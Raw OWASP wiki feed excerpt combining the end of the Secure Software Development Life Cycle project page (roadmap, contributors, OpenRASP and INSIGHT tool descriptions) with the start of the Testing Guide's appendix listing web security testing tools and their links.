* '''[mailto:Rip@owasp.org.cn RIP]''' (Sub-project Owner)&lt;br /&gt;
* '''[mailto:silver@owasp.org.cn Silver Zhang]'''(Sub-project Owner)&lt;br /&gt;
* Kevin (Sub-project Owner)&lt;br /&gt;
* '''[mailto:sky@owasp.org.cn Xia Tianze]''' (Sub-project Owner)&lt;br /&gt;
* ''' [mailto:yukan@owasp.org.cn Yu Kan]'''(Sub-project Owner)&lt;br /&gt;
* '''[mailto:Lance@owasp.org.cn Lance Li]''' (Sub-project Owner)&lt;br /&gt;
* Bao Yuezhong (Participant)&lt;br /&gt;
* Ricky Xu (Participant)&lt;br /&gt;
* Wang Jie (Participant)&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&amp;lt;!--	A project roadmap is the envisioned plan for the project. The purpose of the roadmap is to help others understand where the project is going. It gives the community a chance to understand the context and the vision for the goal of the project. Additionally, if a project becomes inactive, or if the project is abandoned, a roadmap can help ensure a project can be adopted and continued under new leadership.  --&amp;gt;&amp;lt;/span&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Base on the current estimation, the roadmap of the OWASP Secure Software Development Life Cycle Project is below:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable sortable&amp;quot;&lt;br /&gt;
!Sub-Project Name&lt;br /&gt;
!Purpose&lt;br /&gt;
!RoadMap&lt;br /&gt;
!Sub-Porject Owner and Participant&lt;br /&gt;
!Output and Delivery&lt;br /&gt;
!Ref&lt;br /&gt;
|-&lt;br /&gt;
|OWASP S-SDLC Project&lt;br /&gt;
|OWASP Secure Software Development Life Cycle Project defines security software development process. This part of the project is an overview of the life cycle.&lt;br /&gt;
|2017Q3&lt;br /&gt;
|Project Owner：&lt;br /&gt;
&lt;br /&gt;
RIP&lt;br /&gt;
&lt;br /&gt;
Kevin&lt;br /&gt;
&lt;br /&gt;
Yuezhong Bao&lt;br /&gt;
&lt;br /&gt;
Tianze Xia&lt;br /&gt;
&lt;br /&gt;
Project Manager：&lt;br /&gt;
&lt;br /&gt;
XuFei&lt;br /&gt;
|OWASP S-SDLC Project Introduction  Doc and Slides&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|OWASP S-SDLC Overall Flow&lt;br /&gt;
|This part of the OWASP S-SDLC Project defines phases of the life cycle and give suggestions and best practices of adoption.&lt;br /&gt;
|2017Q2-Q4&lt;br /&gt;
|Kevin&lt;br /&gt;
&lt;br /&gt;
Peter Xiao&lt;br /&gt;
|Best Practices of S-SDLC in Enterprises &lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|OWASP  S-SDLC Security Awareness Training&lt;br /&gt;
|This part provides guidelines of security awareness trainings. These trainings are to enhance the sensitivity of security of software developers.&lt;br /&gt;
|2017Q2-Q4&lt;br /&gt;
|Jie Wang&lt;br /&gt;
|(1)Training slides&lt;br /&gt;
(2)Training Videos&lt;br /&gt;
&lt;br /&gt;
(3)Examples  of examination questions&lt;br /&gt;
|(1)OWASP TOP 10&lt;br /&gt;
&lt;br /&gt;
(2)OWASP MOBILE TOP 10&lt;br /&gt;
&lt;br /&gt;
(3)OWASP IoT TOP 10&lt;br /&gt;
|-&lt;br /&gt;
|OWASP S-SDLC Security Requirement&lt;br /&gt;
|This part of OWASP S-SDLC aims to acquire security requirements by identifying the functional implementation, position in industry or  general  security requirements (eg, compliance requirements).&lt;br /&gt;
|2017Q2-Q4&lt;br /&gt;
|Tianze Xia&lt;br /&gt;
|(1)Best Practices of S-SDLC Security Requirement&lt;br /&gt;
&lt;br /&gt;
(2)Security Requirement Checklist&lt;br /&gt;
|OWASP Cheat Sheet Series&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|OWASP S-SDLC Security Design&lt;br /&gt;
|This part of S-SDLC will guide to deliver a doable security design to the implementation team by considering potential technical security risks. So that by avoiding the early detections of security risks, the cost to build secure products is in control.&lt;br /&gt;
|2017Q2-Q4&lt;br /&gt;
|Lance Li&lt;br /&gt;
|(1)Best Practices of S-SDLC Security Design&lt;br /&gt;
&lt;br /&gt;
(2)Benchmark of OWASP security baseline&lt;br /&gt;
&lt;br /&gt;
(3)Threat Modeling Guide&lt;br /&gt;
&lt;br /&gt;
(4)Security Guideline for Common Components &lt;br /&gt;
|(1)Application Threat Modeling&lt;br /&gt;
&lt;br /&gt;
(2)OWASP ESAPI&lt;br /&gt;
|-&lt;br /&gt;
|OWASP S-SDLC Security Implementation&lt;br /&gt;
|The goal of this sub-project of OWASP S-SDLC are to:&lt;br /&gt;
&lt;br /&gt;
(1) Let implementation teams do secure coding. The key is to let team understand security features of the language and framework they use, and obey the output of the S-SDLC security design&lt;br /&gt;
&lt;br /&gt;
(2) Let implementation teams  identify and fix defects in legacy codes. The key is to adopt automated, efficient tech (eg. IAST) by providing guidelines and best practices.&lt;br /&gt;
|2017Q2-Q4&lt;br /&gt;
|&lt;br /&gt;
Kan Yu&lt;br /&gt;
&lt;br /&gt;
Ricky&lt;br /&gt;
&lt;br /&gt;
|(1)Best Practices of S-SDLC Security Implementation&lt;br /&gt;
&lt;br /&gt;
(2)Security Sriteria Checking Tool Sets for  Coding  &lt;br /&gt;
&lt;br /&gt;
(3)Guideline for OWASP Code Review&lt;br /&gt;
|(1)OWASP Code Review Guide Project&lt;br /&gt;
&lt;br /&gt;
(2)OWASP Cheat Sheet Series&lt;br /&gt;
|-&lt;br /&gt;
|OWASP S-SDLC Security Test&lt;br /&gt;
|Security testing is a process intended to reveal flaws in the security mechanisms of an information system that protect data and maintain functionality as intended&lt;br /&gt;
&lt;br /&gt;
Typical security requirements may include specific elements of confidentiality, integrity, authentication, availability, authorization and non-repudiation. Actual security requirements tested depend on the security requirements implemented by the system. Due to the logical limitations of security testing, passing security testing is not an indication that no flaws exist or that the system adequately satisfies the security requirements.&lt;br /&gt;
&lt;br /&gt;
This part of the OWASP S-SDLC project will provide some best practice and useful tips of security testing to help a.) Beginners can start security test easily; b.) Professionals can use for reference.&lt;br /&gt;
&lt;br /&gt;
|2017Q2-Q4&lt;br /&gt;
|Tianze Xia&lt;br /&gt;
|(1)Best Practice of S-SDLC security testing &lt;br /&gt;
&lt;br /&gt;
(2)Best Practice of OWASP Cheat sheet&lt;br /&gt;
&lt;br /&gt;
(3) Best Practice of OWASP ASVS &lt;br /&gt;
|(1)OWASP testing Guide&lt;br /&gt;
&lt;br /&gt;
(2)OWASP Cheat sheet&lt;br /&gt;
&lt;br /&gt;
(3)OWASP Application Security Verification Standard Project (ASVS)&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|OWASP S-SDLC Security Deployment &amp;amp; SecDevOps&lt;br /&gt;
|In this phase of the S-SDLC focus on security auditing before deployment and  security monitoring. The sub-project will research on&lt;br /&gt;
&lt;br /&gt;
(1) develop a appropriate security baseline for deployment and devops&lt;br /&gt;
&lt;br /&gt;
(2) the process of incident response and related tech.&lt;br /&gt;
&lt;br /&gt;
(3)SecDevOps&lt;br /&gt;
|2017Q2-Q4&lt;br /&gt;
|RIP&lt;br /&gt;
|(1)Best Practice of S-SDLC security Deployment&lt;br /&gt;
&lt;br /&gt;
(2)Best Practice of S-SDLC SecDevOps&lt;br /&gt;
&lt;br /&gt;
(3)Security Baseline for  deployment  and devops&lt;br /&gt;
&lt;br /&gt;
(4)OpenRASP&lt;br /&gt;
|OWASP AppSensor&lt;br /&gt;
OpenRASP&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Involvement in the development and promotion of the OWASP Secure Software Development Lifecycle Project is actively encouraged!&lt;br /&gt;
You do not have to be a security expert in order to contribute.&lt;br /&gt;
Some of the ways you can help:&lt;br /&gt;
* Helping find references to some of the principles.&lt;br /&gt;
* Project administration support. &lt;br /&gt;
* Wiki editing support.&lt;br /&gt;
* Writing support for the book.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- =Project About=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;!-- &amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	This page is where you need to place your legacy project template page if your project was created before October 2013. To edit this page you will need to edit your project information template. You can typically find this page by following this address and substituting your project name where it says &amp;quot;OWASP_Example_Project&amp;quot;. When in doubt, ask the OWASP Projects Manager. &lt;br /&gt;
Example template page: https://www.owasp.org/index.php/Projects/OWASP_Example_Project&lt;br /&gt;
&amp;lt;/span&amp;gt; --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Related stuffs  =&lt;br /&gt;
&lt;br /&gt;
This Page includes S-SDLC releated stuffs. Categorized as a.)Tools b.) Libraries c.)Technical Docs &lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
* '''OpenRASP'''&lt;br /&gt;
OpenRASP is an open-source, free and self-adapting security tool made for OWASP S-SDLC Security Deployment &amp;amp; SecDevOps phase.&lt;br /&gt;
&lt;br /&gt;
It can provide functions like threat detection, data stream monitor, quick-response to production by the deep integration of its protection engine.&lt;br /&gt;
&lt;br /&gt;
Unlike other perimeter control solutions like WAF, OpenRASP directly integrates its protection engine into the application server by instrumentation. It can monitor various events including database queries, file operations and network requests etc.&lt;br /&gt;
&lt;br /&gt;
When an attack happens, WAF matches the malicious request with its signatures and blocks it. OpenRASP takes a different approach by hooking sensitive functions and examines/blocks the inputs fed into them. As a result, this examination is context-aware and in-place. It brings in the following benefits:&lt;br /&gt;
&lt;br /&gt;
1. Only successful attacks can trigger alarms, resulting in lower false positive and higher detection rate;&lt;br /&gt;
&lt;br /&gt;
2. Detailed stack trace is logged, which makes the forensic analysis easier;&lt;br /&gt;
&lt;br /&gt;
3. Insusceptible to malformed protocol.&lt;br /&gt;
&lt;br /&gt;
====== OpenRASP FAQ ======&lt;br /&gt;
1. List of supported web applicationBelow table shows the recent updates of the project.Below tables shows recent updateBelow table shows recent updates.s. servers&lt;br /&gt;
&lt;br /&gt;
Only Java based web application servers are supported for now. The support of other web application servers will also be soon included in the coming releases.&lt;br /&gt;
&lt;br /&gt;
OpenRASP on the following application servers for both Linux and Windows platforms has been tested.&lt;br /&gt;
* Tomcat 6-8&lt;br /&gt;
* JBoss 4.X&lt;br /&gt;
* WebLogic 11/12&lt;br /&gt;
2. Performance impact on application servers&lt;br /&gt;
&lt;br /&gt;
Multiple intense and long-lasting stress tests has been taken. Even in the worst-case scenario (where the hook point got continuously triggered) the server’s performance was only reduced by 10%&lt;br /&gt;
&lt;br /&gt;
3. Integration with existing SIEM or SOC&lt;br /&gt;
&lt;br /&gt;
OpenRASP logs alarms in JSON format, which can be easily picked up by LogStash, rsyslog or Flume.&lt;br /&gt;
&lt;br /&gt;
4. How to develop a new plugin?&lt;br /&gt;
&lt;br /&gt;
A plugin receives a callback when an event occurs. It then determines if the current behavior is malicious or not and blocks the associated request if necessary.&lt;br /&gt;
&lt;br /&gt;
Detailed documents available on [https://github.com/baidu/openrasp github].&lt;br /&gt;
&lt;br /&gt;
* '''&amp;quot;INSIGHT&amp;quot; Platform'''&lt;br /&gt;
&amp;quot;INSIGHT&amp;quot; is a management platform developed by the Security Department of CreditEase which integrates Application system asset, Vulnerability lifecycle, and Security knowledge base.&lt;br /&gt;
# Application System Asset Management: managing assets of application system in the company, including system name, domain, senior level, department, and owner.&lt;br /&gt;
# Vulnerability Lifecycle Management: proceeding online submission, notification, verification, retesting, classification, risk calculation, repair deadline calculation, email reminder, and vulnerability data analysis for the security vulnerability found from application system in the company.&lt;br /&gt;
# Security Knowledge Management: implementing centralized storage, online learning, security training, and knowledge inherited of security knowledge and standard specification.&lt;br /&gt;
&amp;quot;INSIGHT&amp;quot; was developed by Python language and form of Flask framework &amp;amp; MySQL &amp;amp; Docker container.&lt;br /&gt;
&lt;br /&gt;
Detailed documents available on [https://github.com/creditease-sec/insight github].&lt;br /&gt;
&lt;br /&gt;
'''The concept of design'''&lt;br /&gt;
&lt;br /&gt;
Application security activities begin with the risk assessment of the application assets. When the company accumulates more assets, it shall encounter increasing problems, such as unclear assets resource, miss of asset owner, the high cost of continuous of vulnerability tracking and difficulty of security knowledge penetrating, no data support for high-frequency risks, and failure of solving core problems, In addition, risk quantification is also a problem.&lt;br /&gt;
&lt;br /&gt;
[[File:Insight1.png|thumb|none]]&lt;br /&gt;
&lt;br /&gt;
In the design of application security management framework, the general process of risk governance is as follows:&lt;br /&gt;
&lt;br /&gt;
[[File:Insight2.png|thumb|none]]&lt;br /&gt;
&lt;br /&gt;
Based on the demands of the above risk governance, “INSIGHT&amp;quot; came into being.&lt;br /&gt;
&lt;br /&gt;
'''Highlights'''&lt;br /&gt;
&lt;br /&gt;
After the implement of &amp;quot;INSIGHT&amp;quot; system, we achieved the following goals. Please see the following picture:&lt;br /&gt;
&lt;br /&gt;
Vulnerability history at a glance&lt;br /&gt;
[[File:Insight3.png|thumb|none]]&lt;br /&gt;
Vulnerability tracking is methodical&lt;br /&gt;
[[File:Insight4.png|thumb|none]]&lt;br /&gt;
Learning Cases can be found easily&lt;br /&gt;
[[File:Insight5.png|thumb|none]]&lt;br /&gt;
Safety requirements are precisely controlled&lt;br /&gt;
[[File:Insight6.png|thumb|none]]&lt;br /&gt;
Threats and risks are well-founded&lt;br /&gt;
[[File:Insight7.png|thumb|none]]&lt;br /&gt;
Quantitative figures are known in real time&lt;br /&gt;
[[File:Insight8.png|thumb|none]]&lt;br /&gt;
&lt;br /&gt;
== Libraries ==&lt;br /&gt;
To be added.&lt;br /&gt;
&lt;br /&gt;
== Technical Docs ==&lt;br /&gt;
To be added.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Sub-Projects =&lt;br /&gt;
&lt;br /&gt;
== Top Security Incidents ==&lt;br /&gt;
'''Project purpose / overview:''' &lt;br /&gt;
&lt;br /&gt;
This project is sub-project for OWASP S – SDLC Project, aimed at the hot spot in the social public security problem. Through the analysis of security problems, case demonstration, in order to arouse public awareness of the security, enhance people's consciousness of network safety as well as to understand and to grasp the method of network security. Finally, everybody is responsible for network security and good atmosphere of everyone involved.&lt;br /&gt;
&lt;br /&gt;
The scope of this project includes 1. Collect and sort public security issue around; 2. Output OWASP Security Awareness Top 10 Document; 3. Build an open source website platform to share information.&lt;br /&gt;
&lt;br /&gt;
本项目为OWASP S-SDLC子项目， 旨在针对社会公众关注的热点安全问题，通过对安全问题的分析、案例演示，唤起公众对安全的关注，提升人民群众网络安全意识，了解和掌握网络安全防范方法，营造网络安全人人有责、人人参与的良好氛围。&lt;br /&gt;
&lt;br /&gt;
本项目范围包括1.收集整理分类公共安全事件；2.输出OWASP安全意识top10文档；3.搭建开源网站平台分享信息&lt;br /&gt;
&lt;br /&gt;
'''Project Roadmap:'''&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!'''Phase'''&lt;br /&gt;
!'''Date'''&lt;br /&gt;
|-&lt;br /&gt;
|'''Web site technology solutions'''&lt;br /&gt;
'''网站技术方案'''&lt;br /&gt;
|'''June 13- June 23, 2018'''&lt;br /&gt;
'''2018年6月13日-6月23日'''&lt;br /&gt;
|-&lt;br /&gt;
|'''Data Classification Standard'''&lt;br /&gt;
'''数据分类标准'''&lt;br /&gt;
|'''May25- June1, 2018'''&lt;br /&gt;
'''2018年5月25日-6月1日'''&lt;br /&gt;
|-&lt;br /&gt;
|'''Data collection 1'''&lt;br /&gt;
'''手动收集整理分类数据阶段1'''&lt;br /&gt;
|'''June 2- June10, 2018'''&lt;br /&gt;
'''2018年6月2日-6月10日'''&lt;br /&gt;
|-&lt;br /&gt;
|'''Data collection 2'''&lt;br /&gt;
'''手动收集整理分类数据阶段2'''&lt;br /&gt;
|'''June 11- June15, 2018'''&lt;br /&gt;
'''2018年6月11日-6月15日'''&lt;br /&gt;
|-&lt;br /&gt;
|'''Review categories and Website debugging'''&lt;br /&gt;
'''评审类别和网站调试'''&lt;br /&gt;
|'''June 11- June20, 2018'''&lt;br /&gt;
'''2018年6月11日-6月24日'''&lt;br /&gt;
|-&lt;br /&gt;
|'''Output-Secure Awareness TOP 10 Document'''&lt;br /&gt;
'''安全意识TOP 10文档'''&lt;br /&gt;
|'''June 21, 2018'''&lt;br /&gt;
'''2018年6月21日'''&lt;br /&gt;
|-&lt;br /&gt;
|'''Web Site on line'''&lt;br /&gt;
'''网站上线'''&lt;br /&gt;
|'''June 25, 2018'''&lt;br /&gt;
'''2018年6月25日'''&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
'''Project Leader name:'''&lt;br /&gt;
&lt;br /&gt;
Jack Ding&lt;br /&gt;
&lt;br /&gt;
'''Project Leader email address:'''&lt;br /&gt;
&lt;br /&gt;
 190907765@qq.com&lt;br /&gt;
&lt;br /&gt;
'''Team Member:'''&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
'''Mentor:'''&lt;br /&gt;
&lt;br /&gt;
Xia Tianzhe&lt;br /&gt;
&lt;br /&gt;
Zou Qingmign&lt;br /&gt;
&lt;br /&gt;
==== Attachment: Data Classification Standard ====&lt;br /&gt;
(Will provide English Version Later)&lt;br /&gt;
[[File:Category.png|center|thumb]]&amp;lt;!-- DO NOT ALTER OR REMOVE THE TEXT ON NEXT LINE --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;br /&gt;
= Recent Updates =&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Main Section&lt;br /&gt;
!Chapter&lt;br /&gt;
!Status&lt;br /&gt;
|-&lt;br /&gt;
| rowspan=&amp;quot;2&amp;quot; |Preface&lt;br /&gt;
|Purpose of S-SDLC&lt;br /&gt;
|Done. Waiting for approve&lt;br /&gt;
|-&lt;br /&gt;
|Coverage of S-SDLC&lt;br /&gt;
|Done. Waiting for approve&lt;br /&gt;
|-&lt;br /&gt;
| rowspan=&amp;quot;2&amp;quot; |Security Strategy&lt;br /&gt;
|Security Strategy&lt;br /&gt;
|Done. Waiting for approve&lt;br /&gt;
|-&lt;br /&gt;
|Security Goal&lt;br /&gt;
|Done. Waiting for approve&lt;br /&gt;
|-&lt;br /&gt;
| rowspan=&amp;quot;7&amp;quot; |The infrastructure of security engineering capability&lt;br /&gt;
|A Brief Overview of the Infrastructure &lt;br /&gt;
|Done. Waiting for approve&lt;br /&gt;
|-&lt;br /&gt;
|Organization Structures&lt;br /&gt;
|Done. Waiting for approve&lt;br /&gt;
|-&lt;br /&gt;
|The Flow Framework&lt;br /&gt;
|Done. Waiting for approve&lt;br /&gt;
|-&lt;br /&gt;
|The Security Tech Framework&lt;br /&gt;
|Done. Waiting for approve&lt;br /&gt;
|-&lt;br /&gt;
|The Chain of Tools&lt;br /&gt;
|Done. Waiting for approve&lt;br /&gt;
|-&lt;br /&gt;
|The Training System&lt;br /&gt;
|Done. Waiting for approve&lt;br /&gt;
|-&lt;br /&gt;
|The Measurement System &lt;br /&gt;
|Done. Waiting for approve&lt;br /&gt;
|-&lt;br /&gt;
| rowspan=&amp;quot;2&amp;quot; |Security Requirements&lt;br /&gt;
|To Understand Security Requirements&lt;br /&gt;
|Done. Waiting for approve&lt;br /&gt;
|-&lt;br /&gt;
|How to build Security Requirements&lt;br /&gt;
|Done. Waiting for approve&lt;br /&gt;
|-&lt;br /&gt;
|The interpretation of OWASP Top10 Project for training purpose&lt;br /&gt;
|Detailed explanations of the top 10(e.g. Demo) &lt;br /&gt;
|Calling for volunteers&lt;br /&gt;
|-&lt;br /&gt;
|TBD...&lt;br /&gt;
|TBD...&lt;br /&gt;
|&lt;br /&gt;
|}&amp;lt;headertabs&amp;gt;&amp;lt;/headertabs&amp;gt;&lt;br /&gt;
[[Category:OWASP Project]]  &lt;br /&gt;
[[Category:OWASP_Builders]] &lt;br /&gt;
[[Category:OWASP_Defenders]]  &lt;br /&gt;
[[Category:OWASP_Document]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Appendix_A:_Testing_Tools&amp;diff=241203</id>
		<title>Appendix A: Testing Tools</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Appendix_A:_Testing_Tools&amp;diff=241203"/>
				<updated>2018-06-08T04:41:59Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: Minor grammar edits&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
==Open Source Black Box Testing tools==&lt;br /&gt;
&lt;br /&gt;
=== General Testing ===&lt;br /&gt;
* '''[https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project OWASP ZAP]'''&lt;br /&gt;
**The Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing.&lt;br /&gt;
**ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;br /&gt;
* '''[[OWASP_WebScarab_Project|OWASP WebScarab]]'''&lt;br /&gt;
** WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. It is written in Java, and is portable to many platforms. WebScarab has several modes of operation that are implemented by a number of plugins.&lt;br /&gt;
* '''[[OWASP_CAL9000_Project|OWASP CAL9000]]'''&lt;br /&gt;
** CAL9000 is a collection of browser-based tools that enable more effective and efficient manual testing efforts.&lt;br /&gt;
** Includes an XSS Attack Library, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more.&lt;br /&gt;
*  '''[[:Category:OWASP Pantera Web Assessment Studio Project|OWASP Pantera Web Assessment Studio Project]]'''&lt;br /&gt;
** Pantera uses an improved version of SpikeProxy to provide a powerful web application analysis engine. The primary goal of Pantera is to combine automated capabilities with complete manual testing to get the best penetration testing results.&lt;br /&gt;
* '''[[:OWASP Mantra - Security Framework]]'''&lt;br /&gt;
**Mantra is a web application security testing framework built on top of a browser. It supports Windows, Linux(both 32 and 64 bit) and Macintosh. In addition, it can work with other software like ZAP using built in proxy management function which makes it much more convenient. Mantra is available in 9 languages: Arabic, Chinese - Simplified, Chinese - Traditional, English, French, Portuguese, Russian, Spanish and Turkish.&lt;br /&gt;
* '''SPIKE''' - http://www.immunitysec.com/resources-freesoftware.shtml&lt;br /&gt;
** SPIKE designed to analyze new network protocols for buffer overflows or similar weaknesses. It requires a strong knowledge of C to use and only available for the Linux platform.&lt;br /&gt;
* '''Burp Proxy''' - http://www.portswigger.net/Burp/&lt;br /&gt;
** Burp Proxy is an intercepting proxy server for security testing of web applications. It allows intercepting and modifying all HTTP(S) traffic passing in both directions. It works with custom SSL certificates as well as non-proxy-aware clients.&lt;br /&gt;
* '''Odysseus Proxy''' - http://www.wastelands.gen.nz/odysseus/&lt;br /&gt;
** Odysseus is a proxy server, which acts as a man-in-the-middle during an HTTP session. A typical HTTP proxy will relay packets to and from a client browser and a web server. It will intercept an HTTP session's data in either direction.&lt;br /&gt;
* '''Webstretch Proxy''' - http://sourceforge.net/projects/webstretch&lt;br /&gt;
** Webstretch Proxy enable users to view and alter all aspects of communications with a web site via a proxy. It can also be used for debugging during development. &lt;br /&gt;
*  '''WATOBO''' - http://sourceforge.net/apps/mediawiki/watobo/index.php?title=Main_Page&lt;br /&gt;
** WATOBO works like a local proxy, similar to Webscarab, ZAP or BurpSuite and it supports passive and active checks.&lt;br /&gt;
* '''Firefox LiveHTTPHeaders''' - https://addons.mozilla.org/en-US/firefox/addon/live-http-headers/&lt;br /&gt;
** View HTTP headers of a page and while browsing.&lt;br /&gt;
* '''Firefox Tamper Data''' - https://addons.mozilla.org/en-US/firefox/addon/tamper-data/&lt;br /&gt;
** Use tamperdata to view and modify HTTP/HTTPS headers and post parameters&lt;br /&gt;
* '''Firefox Web Developer Tools''' - https://addons.mozilla.org/en-US/firefox/addon/web-developer/&lt;br /&gt;
** The Web Developer extension adds various web developer tools to the browser.&lt;br /&gt;
* '''DOM Inspector''' - https://developer.mozilla.org/en/docs/DOM_Inspector&lt;br /&gt;
**  DOM Inspector is a developer tool used to inspect, browse, and edit the Document Object Model (DOM)&lt;br /&gt;
* '''Firefox Firebug''' - http://getfirebug.com/&lt;br /&gt;
** Firebug integrates with Firefox to edit, debug, and monitor CSS, HTML, and JavaScript.&lt;br /&gt;
* '''Grendel-Scan''' - http://securitytube-tools.net/index.php?title=Grendel_Scan&lt;br /&gt;
** Grendel-Scan is an automated security scanning of web applications and also supports manual penetration testing.&lt;br /&gt;
*  '''OWASP SWFIntruder''' - http://www.mindedsecurity.com/swfintruder.html&lt;br /&gt;
** SWFIntruder (pronounced Swiff Intruder) is the first tool specifically developed for analyzing and testing security of Flash applications at runtime.&lt;br /&gt;
* '''SWFScan''' - http://h30499.www3.hp.com/t5/Following-the-Wh1t3-Rabbit/SWFScan-FREE-Flash-decompiler/ba-p/5440167 &lt;br /&gt;
** Flash decompiler&lt;br /&gt;
*  '''Wikto''' - http://www.sensepost.com/labs/tools/pentest/wikto&lt;br /&gt;
** Wikto features including fuzzy logic error code checking, a back-end miner, Google-assisted directory mining and real time HTTP request/response monitoring.&lt;br /&gt;
* '''w3af''' - http://w3af.org&lt;br /&gt;
** w3af is a Web Application Attack and Audit Framework. The project’s goal is finding and exploiting web application vulnerabilities.&lt;br /&gt;
* '''skipfish''' - http://code.google.com/p/skipfish/&lt;br /&gt;
** Skipfish is an active web application security reconnaissance tool.&lt;br /&gt;
* '''Web Developer toolbar''' - https://chrome.google.com/webstore/detail/bfbameneiokkgbdmiekhjnmfkcnldhhm&lt;br /&gt;
** The Web Developer extension adds a toolbar button to the browser with various web developer tools. This is the official port of the Web Developer extension for Firefox.&lt;br /&gt;
* '''HTTP Request Maker''' - https://chrome.google.com/webstore/detail/kajfghlhfkcocafkcjlajldicbikpgnp?hl=en-US&lt;br /&gt;
** Request Maker is a tool for penetration testing. With it you can easily capture requests made by web pages, tamper with the URL, headers and POST data and, of course, make new requests&lt;br /&gt;
* '''Cookie Editor''' - https://chrome.google.com/webstore/detail/fngmhnnpilhplaeedifhccceomclgfbg?hl=en-US&lt;br /&gt;
** Edit This Cookie is a cookie manager. You can add, delete, edit, search, protect and block cookies&lt;br /&gt;
* '''Cookie swap''' - https://chrome.google.com/webstore/detail/dffhipnliikkblkhpjapbecpmoilcama?hl=en-US&lt;br /&gt;
** Swap My Cookies is a session manager, it manages cookies, letting you login on any website with several different accounts. &lt;br /&gt;
* '''Firebug lite for Chrome&amp;quot;&amp;quot; -  https://chrome.google.com/webstore/detail/bmagokdooijbeehmkpknfglimnifench'''&lt;br /&gt;
**Firebug Lite is not a substitute for Firebug, or Chrome Developer Tools. It is a tool to be used in conjunction with these tools. Firebug Lite provides the rich visual representation we are used to see in Firebug when it comes to HTML elements, DOM elements, and Box Model shading. It provides also some cool features like inspecting HTML elements with your mouse, and live editing CSS properties&lt;br /&gt;
* '''Session Manager&amp;quot;&amp;quot; -  https://chrome.google.com/webstore/detail/bbcnbpafconjjigibnhbfmmgdbbkcjfi'''&lt;br /&gt;
**With Session Manager you can quickly save your current browser state and reload it whenever necessary. You can manage multiple sessions, rename or remove them from the session library. Each session remembers the state of the browser at its creation time, i.e the opened tabs and windows.&lt;br /&gt;
* '''Subgraph Vega''' - http://www.subgraph.com/products.html &lt;br /&gt;
**Vega is a free and open source scanner and testing platform to test the security of web applications. Vega can help you find and validate SQL Injection, Cross-Site Scripting (XSS), inadvertently disclosed sensitive information, and other vulnerabilities. It is written in Java, GUI based, and runs on Linux, OS X, and Windows.&lt;br /&gt;
&lt;br /&gt;
=== Testing for specific vulnerabilities ===&lt;br /&gt;
&lt;br /&gt;
==== Testing for JavaScript Security, DOM XSS ====&lt;br /&gt;
* BlueClosure BC Detect - http://www.blueclosure.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Testing AJAX ====&lt;br /&gt;
* '''[[:Category:OWASP Sprajax Project|OWASP Sprajax Project]]'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Testing for SQL Injection ====&lt;br /&gt;
* '''[[:Category:OWASP_SQLiX_Project|OWASP SQLiX]]'''&lt;br /&gt;
* Sqlninja: a SQL Server Injection &amp;amp; Takeover Tool - http://sqlninja.sourceforge.net&lt;br /&gt;
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/&lt;br /&gt;
* Absinthe 1.1 (formerly SQLSqueal) - http://sourceforge.net/projects/absinthe/&lt;br /&gt;
* SQLInjector - Uses inference techniques to extract data and determine the backend database server.  http://www.databasesecurity.com/sql-injector.htm&lt;br /&gt;
* Bsqlbf-v2: A perl script allows extraction of data from Blind SQL Injections - http://code.google.com/p/bsqlbf-v2/&lt;br /&gt;
* Pangolin: An automatic SQL injection penetration testing tool - http://www.darknet.org.uk/2009/05/pangolin-automatic-sql-injection-tool/&lt;br /&gt;
* Antonio Parata: Dump Files by sql inference on Mysql - SqlDumper - http://www.ruizata.com/&lt;br /&gt;
* Multiple DBMS Sql Injection tool - SQL Power Injector - http://www.sqlpowerinjector.com/&lt;br /&gt;
* MySql Blind Injection Bruteforcing, Reversing.org - sqlbftools - http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
